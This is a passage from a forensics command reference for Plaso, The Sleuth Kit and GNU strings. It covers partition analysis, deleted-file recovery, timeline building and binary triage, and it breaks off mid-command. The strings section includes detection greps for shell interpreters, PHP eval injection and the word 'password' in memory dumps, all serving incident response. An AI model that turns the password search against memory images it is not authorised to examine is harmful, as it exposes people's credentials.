"shimcache"' ``` Extracts Application Compatibility Cache (Shimcache) data to identify executables present on the system ## Threat Hunting - Amcache ### psort.py [STORAGE] 'parser is "amcache"' ```bash psort.py [STORAGE] 'parser is "amcache"' ``` Example: ```bash psort.py case.plaso -w amcache.csv 'parser is "amcache"' ``` Extracts Amcache.hve data to correlate SHA1 hashes with filenames and execution timestamps ## Threat Hunting - PowerShell ### psort.py [STORAGE] 'message contains "PowerShell"' ```bash psort.py [STORAGE] 'message contains "PowerShell"' ``` Example: ```bash psort.py case.plaso -w powershell.csv 'message contains "PowerShell"' ``` Filters for PowerShell activity across Event Logs and other artifacts to detect script execution ## Threat Hunting - RDP ### psort.py [STORAGE] 'message contains "TerminalServices"' ```bash psort.py [STORAGE] 'message contains "TerminalServices"' ``` Example: ```bash psort.py case.plaso -w rdp.csv 'message contains "TerminalServices"' ``` Filters for Terminal Services logs to reconstruct Remote Desktop Protocol (RDP) sessions ## Threat Hunting - Scheduled Tasks ### psort.py [STORAGE] 'parser is "winevtx" and message contains "Task Scheduler"' ```bash psort.py [STORAGE] 'parser is "winevtx" and message contains "Task Scheduler"' ``` Example: ```bash psort.py case.plaso -w tasks.csv 'parser is "winevtx" and message contains "Task Scheduler"' ``` Identifies creation and execution of scheduled tasks, often used for persistence ## Reporting - Tagged Events ### psort.py -w [OUTPUT] --tagged_events [STORAGE] ```bash psort.py -w [OUTPUT] --tagged_events [STORAGE] ``` Example: ```bash psort.py -w report_hits.csv --tagged_events case.plaso ``` Exports only the events that were tagged by analysis plugins, creating a concise report of findings ## Automated Pipeline ### psteal.py --source [IMAGE] --parsers 'win7' --analysis 'tagging' --tagging_file [RULES] ```bash psteal.py --source [IMAGE] --parsers 'win7' --analysis 'tagging' --tagging_file [RULES] ``` Example: ```bash psteal.py --source disk.dd --parsers 'win7' --analysis 'tagging' --tagging_file bad_stuff.txt ``` Runs a complete pipeline: extraction, Windows parsing, tagging based on rules, and output generation ## Cleanup ### log2timeline.py --force [STORAGE] [SOURCE] ```bash log2timeline.py --force [STORAGE] [SOURCE] ``` Example: ```bash log2timeline.py --force case.plaso disk.dd ``` Forces the overwrite of an existing storage file if it already exists during a new extraction ## Related tools - [The Sleuth Kit](https://terminal.rokibulroni.com/tool/forensics/sleuthkit) - [Autopsy](https://terminal.rokibulroni.com/tool/forensics/autopsy) - [Volatility 3](https://terminal.rokibulroni.com/tool/forensics/volatility3) # Tool: The Sleuth Kit > Command-line tools for analysing disk images and file systems: list files, recover deleted ones and build timelines. - Category: Forensics - Commands: 100 - Page: https://terminal.rokibulroni.com/tool/forensics/sleuthkit - Homepage: https://sleuthkit.org - Documentation: https://wiki.sleuthkit.org - Tags: disk forensics, file systems, DFIR ## Install - apt: `sudo apt install sleuthkit` - brew: `brew install sleuthkit` ## Basic Syntax & Help ### fls ```bash fls ``` Displays the basic usage syntax and available flags for the file listing tool. ### mmls -h ```bash mmls -h ``` Shows help documentation for the media management listing tool used for partition analysis. ## Disk Image Identification ### img_stat image.dd ```bash img_stat image.dd ``` Example: ```bash img_stat evidence.dd ``` Displays details about the image format and size for a raw disk image. ### img_stat -i ewf image.E01 ```bash img_stat -i ewf image.E01 ``` Example: ```bash img_stat -i ewf suspect_drive.E01 ``` Identifies image details specifically for an Expert Witness Format (E01) file. ### img_cat image.E01 ```bash img_cat image.E01 ``` Example: ```bash img_cat evidence.E01 > raw_convert.dd ``` Outputs the raw content of an image file, useful for converting E01 to raw DD format. ## Partition Analysis ### mmls image.dd ```bash mmls image.dd ``` Example: ```bash mmls disk.dd ``` Lists the partition table layout to identify starting sectors of volumes. ### mmls -t dos image.dd ```bash mmls -t dos image.dd ``` Example: ```bash mmls -t dos legacy_disk.dd ``` Forces the interpretation of the partition table as a DOS MBR type. ### mmls -t gpt image.dd ```bash mmls -t gpt image.dd ``` Example: ```bash mmls -t gpt modern_disk.dd ``` Forces the interpretation of the partition table as a GPT type. ### mmls -B image.dd ```bash mmls -B image.dd ``` Example: ```bash mmls -B disk.dd ``` Displays the partition table size values in bytes instead of sectors. ### mmstat image.dd ```bash mmstat image.dd ``` Displays statistics about the volume system and partition layout. ### mmcat -o 2048 image.dd ```bash mmcat -o 2048 image.dd ``` Example: ```bash mmcat -o 2048 disk.dd > partition1.dd ``` Extracts a specific partition starting at the given offset into a separate file. ## File System Detection ### fsstat -o 2048 image.dd ```bash fsstat -o 2048 image.dd ``` Example: ```bash fsstat -o 2048 disk.dd ``` Displays general details of the file system located at the specified offset. ### fsstat -f ntfs -o 2048 image.dd ```bash fsstat -f ntfs -o 2048 image.dd ``` Example: ```bash fsstat -f ntfs -o 2048 disk.dd ``` Forces the analysis of the file system as NTFS at the specified offset. ### fsstat -f fat32 -o 63 image.dd ```bash fsstat -f fat32 -o 63 image.dd ``` Example: ```bash fsstat -f fat32 -o 63 usb_dump.dd ``` Forces the analysis of the file system as FAT32 at the specified offset. ## File & Directory Analysis ### fls -o 2048 image.dd ```bash fls -o 2048 image.dd ``` Example: ```bash fls -o 2048 disk.dd ``` Lists files and directories in the root directory of the file system. ### fls -r -o 2048 image.dd ```bash fls -r -o 2048 image.dd ``` Example: ```bash fls -r -o 2048 disk.dd ``` Recursively lists all files and directories starting from the root. ### fls -d -o 2048 image.dd ```bash fls -d -o 2048 image.dd ``` Example: ```bash fls -d -o 2048 disk.dd ``` Lists only deleted file entries from the file system. ### fls -u -o 2048 image.dd ```bash fls -u -o 2048 image.dd ``` Example: ```bash fls -u -o 2048 disk.dd ``` Lists only undeleted (active) file entries. ### fls -p -o 2048 image.dd ```bash fls -p -o 2048 image.dd ``` Example: ```bash fls -p -o 2048 disk.dd ``` Displays full paths for every file listed. ### fls -F -o 2048 image.dd ```bash fls -F -o 2048 image.dd ``` Example: ```bash fls -F -o 2048 disk.dd ``` Lists only file entries, excluding directory entries. ### fls -D -o 2048 image.dd ```bash fls -D -o 2048 image.dd ``` Example: ```bash fls -D -o 2048 disk.dd ``` Lists only directory entries, excluding file entries. ### ffind -o 2048 image.dd 12345 ```bash ffind -o 2048 image.dd 12345 ``` Example: ```bash ffind -o 2048 disk.dd 12345 ``` Finds the filename associated with a specific inode number. ### ffind -a -o 2048 image.dd 12345 ```bash ffind -a -o 2048 image.dd 12345 ``` Example: ```bash ffind -a -o 2048 disk.dd 12345 ``` Finds all occurrences of filenames pointing to a specific inode. ## Metadata & Inode Analysis ### istat -o 2048 image.dd 12345 ```bash istat -o 2048 image.dd 12345 ``` Example: ```bash istat -o 2048 disk.dd 12345 ``` Displays detailed metadata structures for a specific inode, including MAC times and block addresses. ### ils -o 2048 image.dd ```bash ils -o 2048 image.dd ``` Example: ```bash ils -o 2048 disk.dd ``` Lists all inode entries in the file system. ### ils -e -o 2048 image.dd ```bash ils -e -o 2048 image.dd ``` Example: ```bash ils -e -o 2048 disk.dd ``` Lists all inode entries including those in the simplified body file format. ### ifind -o 2048 -d 5000 image.dd ```bash ifind -o 2048 -d 5000 image.dd ``` Example: ```bash ifind -o 2048 -d 5000 disk.dd ``` Finds the meta-data structure that has allocated a specific data unit (block). ## Content Extraction ### icat -o 2048 image.dd 12345 ```bash icat -o 2048 image.dd 12345 ``` Example: ```bash icat -o 2048 disk.dd 12345 > suspect_document.pdf ``` Extracts the content of a file based on its inode number. ### icat -r -o 2048 image.dd 12345 ```bash icat -r -o 2048 image.dd 12345 ``` Example: ```bash icat -r -o 2048 disk.dd 12345 > recovered_deleted.txt ``` Attempts to recover the content of a deleted file by inode number. ### icat -s -o 2048 image.dd 12345 ```bash icat -s -o 2048 image.dd 12345 ``` Example: ```bash icat -s -o 2048 disk.dd 12345 ``` Displays the slack space (unused bytes at end of last block) for a specific inode. ## Block & Data Unit Analysis ### blkstat -o 2048 image.dd 5000 ```bash blkstat -o 2048 image.dd 5000 ``` Example: ```bash blkstat -o 2048 disk.dd 5000 ``` Displays the allocation status of a specific data block. ### blkcat -o 2048 image.dd 5000 ```bash blkcat -o 2048 image.dd 5000 ``` Example: ```bash blkcat -o 2048 disk.dd 5000 > block_dump.bin ``` Dumps the raw contents of a specific data block. ### blkcat -h -o 2048 image.dd 5000 ```bash blkcat -h -o 2048 image.dd 5000 ``` Example: ```bash blkcat -h -o 2048 disk.dd 5000 ``` Dumps the raw contents of a block in a human-readable hex dump format. ### blkls -o 2048 image.dd ```bash blkls -o 2048 image.dd ``` Example: ```bash blkls -o 2048 disk.dd > unallocated_space.dd ``` Extracts all unallocated blocks to a single file for carving. ### blkls -s -o 2048 image.dd ```bash blkls -s -o 2048 image.dd ``` Example: ```bash blkls -s -o 2048 disk.dd > slack_space.dd ``` Copies only the slack space of allocated files. ### blkcalc -o 2048 -u 5000 image.dd ```bash blkcalc -o 2048 -u 5000 image.dd ``` Example: ```bash blkcalc -o 2048 -u 5000 disk.dd ``` Calculates the unallocated block address from a file system block address. ### blkcalc -o 2048 -d 1000 image.dd ```bash blkcalc -o 2048 -d 1000 image.dd ``` Example: ```bash blkcalc -o 2048 -d 1000 disk.dd ``` Calculates the file system block address from an unallocated image block address. ## Timeline Generation ### fls -m / -r -o 2048 image.dd ```bash fls -m / -r -o 2048 image.dd ``` Example: ```bash fls -m / -r -o 2048 disk.dd > bodyfile.txt ``` Generates a body file required for timeline creation using recursion from root. ### tsk_gettimes -o 2048 image.dd ```bash tsk_gettimes -o 2048 image.dd ``` Example: ```bash tsk_gettimes -o 2048 disk.dd > bodyfile.txt ``` Collects MAC times from a file system image and outputs a body file (more robust than fls). ### mactime -b bodyfile.txt ```bash mactime -b bodyfile.txt ``` Example: ```bash mactime -b bodyfile.txt > timeline.csv ``` Parses a body file to create a human-readable timeline of file activity. ### mactime -b bodyfile.txt -d ```bash mactime -b bodyfile.txt -d ``` Example: ```bash mactime -b bodyfile.txt -d > timeline.csv ``` Parses a body file and outputs the timeline in comma-delimited (CSV) format. ### mactime -b bodyfile.txt -y ```bash mactime -b bodyfile.txt -y ``` Example: ```bash mactime -b bodyfile.txt -y > timeline_iso.txt ``` Outputs the timeline with timestamps in ISO 8601 format. ### mactime -b bodyfile.txt -z UTC ```bash mactime -b bodyfile.txt -z UTC ``` Example: ```bash mactime -b bodyfile.txt -z EST5EDT > timeline_est.txt ``` Specifies the timezone for the timeline output. ### mactime -b bodyfile.txt 2023-01-01 ```bash mactime -b bodyfile.txt 2023-01-01 ``` Example: ```bash mactime -b bodyfile.txt 2023-01-01 > timeline_2023.txt ``` Filters the timeline to show only events occurring after a specific date. ## Journal Analysis ### jls -o 2048 image.dd ```bash jls -o 2048 image.dd ``` Example: ```bash jls -o 2048 disk.dd ``` Lists the journal entries in a file system (e.g., Ext3/4 journal). ### jcat -o 2048 image.dd 100 ```bash jcat -o 2048 image.dd 100 ``` Example: ```bash jcat -o 2048 disk.dd 100 > journal_entry.bin ``` Extracts the content of a specific journal block. ### jcat -f ext -o 2048 image.dd 100 ```bash jcat -f ext -o 2048 image.dd 100 ``` Example: ```bash jcat -f ext -o 2048 disk.dd 100 ``` Forces the interpretation of the journal as an Ext file system journal. ## Hash Analysis ### hfind -i nsrl hash.db 1234567890ABCDEF ```bash hfind -i nsrl hash.db 1234567890ABCDEF ``` Example: ```bash hfind -i nsrl NSRLFile.txt 1234567890ABCDEF ``` Looks up a specific MD5/SHA1 hash in an NSRL formatted hash database. ### hfind -i md5sum hash.db 123456... ```bash hfind -i md5sum hash.db 123456... ``` Example: ```bash hfind -i md5sum known_bad.txt 123456... ``` Looks up a hash in an md5sum formatted text file database. ## Signature Search ### sigfind -o 2048 -t 1234 image.dd ```bash sigfind -o 2048 -t 1234 image.dd ``` Example: ```bash sigfind -o 2048 -t 4d5a disk.dd ``` Searches for a binary signature (hex) at a specific offset within the image. ### sigfind -o 2048 -b 512 image.dd ```bash sigfind -o 2048 -b 512 image.dd ``` Example: ```bash sigfind -o 2048 -b 512 disk.dd ``` Searches for a signature but changes the block size used for the search. ## Automation & Workflow ### tsk_loaddb -d case.db image.dd ```bash tsk_loaddb -d case.db image.dd ``` Example: ```bash tsk_loaddb -d investigation.db disk.dd ``` Parses the disk image and populates a SQLite database with the metadata. ### tsk_loaddb -i ewf -d case.db image.E01 ```bash tsk_loaddb -i ewf -d case.db image.E01 ``` Example: ```bash tsk_loaddb -i ewf -d case.db evidence.E01 ``` Populates a SQLite database from an E01 image file. ### tsk_recover -o 2048 image.dd output_dir ```bash tsk_recover -o 2048 image.dd output_dir ``` Example: ```bash tsk_recover -o 2048 disk.dd recovered_files ``` Automatically recovers files from the image to a local directory. ### tsk_recover -a -o 2048 image.dd output_dir ```bash tsk_recover -a -o 2048 image.dd output_dir ``` Example: ```bash tsk_recover -a -o 2048 disk.dd recovered_files ``` Recovers only allocated files from the image to a directory. ### tsk_recover -o 2048 -i raw -d 12345 image.dd output_dir ```bash tsk_recover -o 2048 -i raw -d 12345 image.dd output_dir ``` Example: ```bash tsk_recover -o 2048 -d 12345 disk.dd recovered_dir ``` Recovers files starting specifically from a given directory inode. ### tsk_comparedir -o 2048 image.dd local_dir ```bash tsk_comparedir -o 2048 image.dd local_dir ``` Example: ```bash tsk_comparedir -o 2048 disk.dd /mnt/comparison ``` Compares the contents of a disk image directory with a local directory. ### tsk_comparedir -n 12345 -o 2048 image.dd local_dir ```bash tsk_comparedir -n 12345 -o 2048 image.dd local_dir ``` Example: ```bash tsk_comparedir -n 12345 -o 2048 disk.dd /mnt/comparison ``` Compares a specific inode directory in the image with a local directory. ### tsk_imageinfo image.dd ```bash tsk_imageinfo image.dd ``` Example: ```bash tsk_imageinfo disk.dd ``` Calculates and displays the SHA-1 and MD5 hashes of the entire image. ## Advanced Metadata ### istat -z UTC -o 2048 image.dd 12345 ```bash istat -z UTC -o 2048 image.dd 12345 ``` Example: ```bash istat -z EST5EDT -o 2048 disk.dd 12345 ``` Displays inode stats with times converted to a specific timezone. ### ifind -p 12345 -o 2048 image.dd ```bash ifind -p 12345 -o 2048 image.dd ``` Example: ```bash ifind -p 12345 -o 2048 disk.dd ``` Finds the unallocated inode that points to a specific data unit (orphan checking). ### ifind -n "file.txt" -o 2048 image.dd ```bash ifind -n "file.txt" -o 2048 image.dd ``` Example: ```bash ifind -n "malware.exe" -o 2048 disk.dd ``` Finds the inode number associated with a specific file name. ## Incident Response ### fls -r -o 2048 image.dd | grep ".exe" ```bash fls -r -o 2048 image.dd | grep ".exe" ``` Example: ```bash fls -r -o 2048 disk.dd | grep ".exe" > executables.txt ``` Filters recursive file listing to identify all executable files for malware hunting. ### fls -r -d -o 2048 image.dd | grep "User" ```bash fls -r -d -o 2048 image.dd | grep "User" ``` Example: ```bash fls -r -d -o 2048 disk.dd | grep "User" ``` Searches for deleted files specifically within User directories. ### icat -o 2048 image.dd 12345 | strings ```bash icat -o 2048 image.dd 12345 | strings ``` Example: ```bash icat -o 2048 disk.dd 12345 | strings | grep "http" ``` Extracts file content and pipes to strings to find text indicators like URLs. ### blkls -o 2048 image.dd | strings -a ```bash blkls -o 2048 image.dd | strings -a ``` Example: ```bash blkls -o 2048 disk.dd | strings -a > unallocated_strings.txt ``` Extracts strings from all unallocated space to find evidence in deleted data. ### tsk_gettimes -o 2048 image.dd | grep "2023-10-15" ```bash tsk_gettimes -o 2048 image.dd | grep "2023-10-15" ``` Example: ```bash tsk_gettimes -o 2048 disk.dd | grep "2023-10-15" > incident_day.body ``` Extracts timeline data and filters immediately for a specific incident date. ## Blue Team Validation ### sorter -d case_logs -s -o 2048 image.dd ```bash sorter -d case_logs -s -o 2048 image.dd ``` Example: ```bash sorter -d sort_output -s -o 2048 disk.dd ``` Sorts files in the image based on file type signatures and saves to a directory. ### sorter -h -o 2048 image.dd ```bash sorter -h -o 2048 image.dd ``` Example: ```bash sorter -h -o 2048 disk.dd ``` Outputs the sorter results in HTML format for easier reporting. ### sorter -e -o 2048 image.dd ```bash sorter -e -o 2048 image.dd ``` Example: ```bash sorter -e -o 2048 disk.dd ``` Performs an extension mismatch check during the sorting process. ## Advanced File Systems ### fsstat -f hfs -o 2048 image.dd ```bash fsstat -f hfs -o 2048 image.dd ``` Example: ```bash fsstat -f hfs -o 2048 mac_disk.dd ``` Analyzes HFS+ file system specific metadata. ### fsstat -f iso9660 -o 0 image.iso ```bash fsstat -f iso9660 -o 0 image.iso ``` Example: ```bash fsstat -f iso9660 -o 0 cd_dump.iso ``` Analyzes an ISO 9660 file system typically found on optical media. ## Complex Carving Prep ### blkls -A -o 2048 image.dd ```bash blkls -A -o 2048 image.dd ``` Example: ```bash blkls -A -o 2048 disk.dd > all_blocks.dd ``` Extracts all blocks (allocated and unallocated) primarily for verification purposes. ### blkls -l -o 2048 image.dd ```bash blkls -l -o 2048 image.dd ``` Example: ```bash blkls -l -o 2048 disk.dd ``` Lists details about data units rather than dumping their contents. ## Forensic Scripting ### tsk_loaddb -k -d case.db image.dd ```bash tsk_loaddb -k -d case.db image.dd ``` Example: ```bash tsk_loaddb -k -d case.db disk.dd ``` Creates the database but does not create tables for block data, saving space. ### mmstat -t dos image.dd ```bash mmstat -t dos image.dd ``` Example: ```bash mmstat -t dos disk.dd ``` Displays stats specifically for a DOS partition table type. ## Reporting ### fls -l -r -o 2048 image.dd ```bash fls -l -r -o 2048 image.dd ``` Example: ```bash fls -l -r -o 2048 disk.dd > long_listing.txt ``` Produces a long-format listing of files including permissions and size. ### mactime -b bodyfile.txt -ggroup ```bash mactime -b bodyfile.txt -ggroup ``` Example: ```bash mactime -b bodyfile.txt -ggroup_file.txt ``` Uses a group definition file to map GIDs to group names in the timeline. ### mactime -b bodyfile.txt -ppasswd ```bash mactime -b bodyfile.txt -ppasswd ``` Example: ```bash mactime -b bodyfile.txt -ppasswd_file.txt ``` Uses a password definition file to map UIDs to usernames in the timeline. ## Advanced Hashing ### hfind -q hash.db 12345... ```bash hfind -q hash.db 12345... ``` Example: ```bash hfind -q known_bad.db 12345... ``` Performs a 'quick' lookup in the hash database. ## Internal Debugging ### fsstat -v -o 2048 image.dd ```bash fsstat -v -o 2048 image.dd ``` Example: ```bash fsstat -v -o 2048 disk.dd ``` Runs file system statistics in verbose mode for debugging parsing errors. ### mmls -v image.dd ```bash mmls -v image.dd ``` Example: ```bash mmls -v disk.dd ``` Runs partition listing in verbose mode to diagnose table corruption. ## Volume System Analysis ### mmls -a image.dd ```bash mmls -a image.dd ``` Example: ```bash mmls -a disk.dd ``` Lists all volumes including those that are unallocated in the partition table. ## File Name Analysis ### fls -o 2048 -f ntfs image.dd ```bash fls -o 2048 -f ntfs image.dd ``` Example: ```bash fls -o 2048 -f ntfs disk.dd ``` Explicitly declares the file system type for listing files to avoid auto-detection errors. ## Inode Analysis ### istat -f ext4 -o 2048 image.dd 12345 ```bash istat -f ext4 -o 2048 image.dd 12345 ``` Example: ```bash istat -f ext4 -o 2048 disk.dd 12345 ``` Displays inode stats forcing Ext4 interpretation. ## Threat Hunting ### fls -o 2048 -r image.dd | grep -i "\.ps1$" ```bash fls -o 2048 -r image.dd | grep -i "\.ps1$" ``` Example: ```bash fls -o 2048 -r disk.dd | grep -i "\.ps1$" ``` Hunts for PowerShell scripts across the file system using recursive listing. ### fls -o 2048 -r image.dd | grep -i "temp" ```bash fls -o 2048 -r image.dd | grep -i "temp" ``` Example: ```bash fls -o 2048 -r disk.dd | grep -i "temp" ``` Identifies files located in temporary directories often used for malware staging. ## Data Recovery ### tsk_recover -e -o 2048 image.dd output_dir ```bash tsk_recover -e -o 2048 image.dd output_dir ``` Example: ```bash tsk_recover -e -o 2048 disk.dd output_dir ``` Recovers files and exports them, including unallocated (deleted) files if possible. ## Disk Geometry ### img_stat -v image.dd ```bash img_stat -v image.dd ``` Example: ```bash img_stat -v disk.dd ``` Provides verbose image statistics including block size and count. ## Block Analysis ### blkcat -f ntfs -o 2048 image.dd 100 ```bash blkcat -f ntfs -o 2048 image.dd 100 ``` Example: ```bash blkcat -f ntfs -o 2048 disk.dd 100 ``` Dumps a block forcing NTFS interpretation. ## Timeline Analysis ### mactime -b bodyfile.txt -i day ```bash mactime -b bodyfile.txt -i day ``` Example: ```bash mactime -b bodyfile.txt -i day > timeline.txt ``` Creates a timeline summary grouped by day. ### mactime -b bodyfile.txt -i hour ```bash mactime -b bodyfile.txt -i hour ``` Example: ```bash mactime -b bodyfile.txt -i hour > timeline.txt ``` Creates a timeline summary grouped by hour for high-precision analysis. ## Partition Analysis ### mmls -i raw image.dd ```bash mmls -i raw image.dd ``` Example: ```bash mmls -i raw disk.dd ``` Specifies the image type as raw explicitly during partition analysis. ### mmls -i ewf image.E01 ```bash mmls -i ewf image.E01 ``` Example: ```bash mmls -i ewf disk.E01 ``` Specifies the image type as EWF explicitly during partition analysis. ## Data Unit Analysis ### blkcalc -f ntfs -o 2048 -u 1000 image.dd ```bash blkcalc -f ntfs -o 2048 -u 1000 image.dd ``` Example: ```bash blkcalc -f ntfs -o 2048 -u 1000 disk.dd ``` Calculates unallocated address forcing NTFS context. ## Metadata Analysis ### ils -f ntfs -o 2048 image.dd ```bash ils -f ntfs -o 2048 image.dd ``` Example: ```bash ils -f ntfs -o 2048 disk.dd ``` Lists inodes forcing NTFS interpretation. ### ils -m -o 2048 image.dd ```bash ils -m -o 2048 image.dd ``` Example: ```bash ils -m -o 2048 disk.dd ``` Lists inodes in machine readable format. ## Journal Analysis ### jls -f ext -o 2048 image.dd ```bash jls -f ext -o 2048 image.dd ``` Example: ```bash jls -f ext -o 2048 disk.dd ``` Lists journal entries forcing Ext file system context. ## Signature Analysis ### sigfind -o 2048 -t 55AA image.dd ```bash sigfind -o 2048 -t 55AA image.dd ``` Example: ```bash sigfind -o 2048 -t 55AA disk.dd ``` Searches for the boot signature (0x55AA) to find boot sectors manually. ## Cleanup ### rm bodyfile.txt timeline.csv ```bash rm bodyfile.txt timeline.csv ``` Removes temporary analysis files after the investigation is complete. ## Related tools - [Autopsy](https://terminal.rokibulroni.com/tool/forensics/autopsy) - [Foremost](https://terminal.rokibulroni.com/tool/forensics/foremost) - [Plaso (log2timeline)](https://terminal.rokibulroni.com/tool/forensics/plaso) # Tool: strings > Prints sequences of printable characters from binary files — a fast first look at executables, memory dumps and unknown data. - Category: Forensics - Commands: 65 - Page: https://terminal.rokibulroni.com/tool/forensics/strings - Homepage: https://www.gnu.org/software/binutils/ - Documentation: https://man7.org/linux/man-pages/man1/strings.1.html - Tags: binary analysis, triage ## Install - apt: `sudo apt install binutils` - brew: `brew install binutils` ## Basic String Extraction ### strings sample.bin ```bash strings sample.bin ``` Example: ```bash strings suspicious.exe ``` Extracts default human-readable ASCII strings from the specified binary file. ### strings -a sample.bin ```bash strings -a sample.bin ``` Example: ```bash strings -a malware.bin ``` Forces the scan of the entire file rather than just specific initialized data sections. ### strings --all sample.bin ```bash strings --all sample.bin ``` Example: ```bash strings --all rootkit.ko ``` Equivalent to the -a flag, ensuring every byte of the file is analyzed for printable characters. ### strings - sample.bin ```bash strings - sample.bin ``` Example: ```bash strings - unknown_blob.dat ``` Uses the dash shorthand to explicitly instruct strings to scan the whole file. ## Length Control ### strings -n 8 sample.bin ```bash strings -n 8 sample.bin ``` Example: ```bash strings -n 8 payload.exe ``` Filters output to only show strings with a minimum length of 8 characters, reducing noise. ### strings --bytes=10 sample.bin ```bash strings --bytes=10 sample.bin ``` Example: ```bash strings --bytes=10 memory.dmp ``` Sets the minimum sequence length to 10 characters using the verbose flag syntax. ### strings -6 sample.bin ```bash strings -6 sample.bin ``` Example: ```bash strings -6 dropper.elf ``` Uses legacy shorthand to set the minimum string length to 6 characters. ## File and Input Handling ### strings -f *.bin ```bash strings -f *.bin ``` Example: ```bash strings -f *.dll ``` Prints the filename before each string found, useful when scanning multiple files simultaneously. ### strings --print-file-name sample.bin ```bash strings --print-file-name sample.bin ``` Example: ```bash strings --print-file-name artifact.sys ``` Explicitly enables filename prefixing for the output, aiding in attribution during bulk analysis. ## Offset and Locations ### strings -t d sample.bin ```bash strings -t d sample.bin ``` Example: ```bash strings -t d firmware.rom ``` Displays the offset (location) of each string within the file in decimal format. ### strings -t x sample.bin ```bash strings -t x sample.bin ``` Example: ```bash strings -t x exploit.doc ``` Displays the offset of each string in hexadecimal format, standard for hex editor cross-referencing. ### strings -t o sample.bin ```bash strings -t o sample.bin ``` Example: ```bash strings -t o archive.tar ``` Displays the offset of each string in octal format. ### strings --radix=x sample.bin ```bash strings --radix=x sample.bin ``` Example: ```bash strings --radix=x bootloader.img ``` Sets the offset radix to hexadecimal using the verbose argument style. ## Encoding and Character Sets ### strings -e s sample.bin ```bash strings -e s sample.bin ``` Example: ```bash strings -e s text.txt ``` Explicitly scans for standard 7-bit ASCII characters (default behavior). ### strings -e S sample.bin ```bash strings -e S sample.bin ``` Example: ```bash strings -e S international.dat ``` Scans for 8-bit characters to capture ISO-8859 or extended ASCII strings. ### strings -e l sample.bin ```bash strings -e l sample.bin ``` Example: ```bash strings -e l windows_log.evtx ``` Scans for 16-bit little-endian characters, commonly used for Windows UTF-16 (Unicode) strings. ### strings -e b sample.bin ```bash strings -e b sample.bin ``` Example: ```bash strings -e b mips_firmware.bin ``` Scans for 16-bit big-endian characters, often found in network appliances or legacy architectures. ### strings -e L sample.bin ```bash strings -e L sample.bin ``` Example: ```bash strings -e L data.db ``` Scans for 32-bit little-endian characters. ### strings -e B sample.bin ```bash strings -e B sample.bin ``` Example: ```bash strings -e B old_system.img ``` Scans for 32-bit big-endian characters. ## Output Formatting ### strings -s ' :: ' sample.bin ```bash strings -s ' :: ' sample.bin ``` Example: ```bash strings -s ' :: ' logfile.dat ``` Inserts a custom separator string between output items instead of a newline. ### strings --output-separator=',' sample.bin ```bash strings --output-separator=',' sample.bin ``` Example: ```bash strings --output-separator=',' data.csv ``` Uses a comma as the output separator, facilitating CSV-style output generation. ## Combined Basic Workflows ### strings -a -t x -n 10 sample.bin ```bash strings -a -t x -n 10 sample.bin ``` Example: ```bash strings -a -t x -n 10 unknown_malware.exe ``` Combines scanning all bytes, hex offsets, and minimum length filtering for a standard initial triage. ### strings -e l -t x sample.bin ```bash strings -e l -t x sample.bin ``` Example: ```bash strings -e l -t x document.pdf ``` Extracts UTF-16 strings with their hexadecimal offsets to locate Unicode artifacts. ## Malware and Artifact Analysis ### strings sample.bin | grep -i 'http' ```bash strings sample.bin | grep -i 'http' ``` Example: ```bash strings dropper.exe | grep -i 'http' ``` Pipes output to grep to search for HTTP/HTTPS URLs specifically. ### strings -e l sample.bin | grep -i 'c:\\' ```bash strings -e l sample.bin | grep -i 'c:\\' ``` Example: ```bash strings -e l malware.exe | grep -i 'c:\\' ``` Searches for Windows file paths inside Unicode-encoded strings. ### strings sample.bin | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' ```bash strings sample.bin | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' ``` Example: ```bash strings c2_client.exe | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' ``` Uses regex to extract potential IPv4 addresses from the binary. ### strings sample.bin | grep -i 'pdb' ```bash strings sample.bin | grep -i 'pdb' ``` Example: ```bash strings unknown.dll | grep -i 'pdb' ``` Searches for PDB (Program Database) paths which often reveal the developer's username and project path. ### strings sample.bin | grep -i 'user-agent' ```bash strings sample.bin | grep -i 'user-agent' ``` Example: ```bash strings downloader.exe | grep -i 'user-agent' ``` Hunts for hardcoded User-Agent strings used in network communications. ### strings sample.bin | grep -E '^[A-Za-z0-9+/]{20,}={0,2}$' ```bash strings sample.bin | grep -E '^[A-Za-z0-9+/]{20,}={0,2}$' ``` Example: ```bash strings payload.bin | grep -E '^[A-Za-z0-9+/]{20,}={0,2}$' ``` Attempts to identify long Base64 encoded strings which may represent obfuscated configurations. ### strings sample.bin | grep -iE '(powershell|cmd|bash|sh)' ```bash strings sample.bin | grep -iE '(powershell|cmd|bash|sh)' ``` Example: ```bash strings script.exe | grep -iE '(powershell|cmd|bash|sh)' ``` Scans for shell execution commands indicating potential system command injection capabilities. ## Incident Response Investigations ### strings -a memory.dmp | grep -C 5 'password' ```bash strings -a memory.dmp | grep -C 5 'password' ``` Example: ```bash strings -a hiberfil.sys | grep -C 5 'password' ``` Searches a memory dump for the term 'password' and prints 5 lines of surrounding context. ### strings -e l memory.dmp | grep -i 'cmd.exe' ```bash strings -e l memory.dmp | grep -i 'cmd.exe' ``` Example: ```bash strings -e l memdump.raw | grep -i 'cmd.exe' ``` Searches a raw memory dump for Unicode references to command prompt executions. ### strings -f /var/log/nginx/* | grep 'eval(' ```bash strings -f /var/log/nginx/* | grep 'eval(' ``` Example: ```bash strings -f /var/log/nginx/access.log* | grep 'eval(' ``` Scans multiple log files for PHP eval injection attempts while maintaining filename context. ### cat disk_image.dd | strings -t d > image_strings.txt ```bash cat disk_image.dd | strings -t d > image_strings.txt ``` Example: ```bash cat evidence.dd | strings -t d > evidence_strings.txt ``` Streams a disk image into strings and saves the output with offsets to a text file for offline searching. ## Automation and Pipeline Workflows ### strings sample.bin | sort | uniq -c | sort -nr ```bash strings sample.bin | sort | uniq -c | sort -nr ``` Example: ```bash strings malware_set.bin | sort | uniq -c | sort -nr ``` Counts unique string occurrences and sorts them by frequency to identify repeated patterns. ### strings -n 20 sample.bin | head -n 15 ```bash strings -n 20 sample.bin | head -n 15 ``` Example: ```bash strings -n 20 ransom.exe | head -n 15 ``` Quickly previews the first 15 long strings (20+ chars) to get a high-level overview of the binary. ### strings sample.bin | grep -vFf whitelist.txt ```bash strings sample.bin | grep -vFf whitelist.txt ``` Example: ```bash strings system32_file.dll | grep -vFf known_strings.txt ``` Filters out known-good strings listed in a file, leaving only anomalous or unique strings. ### find . -name '*.exe' -exec strings -f {} + | grep '192.168.' ```bash find . -name '*.exe' 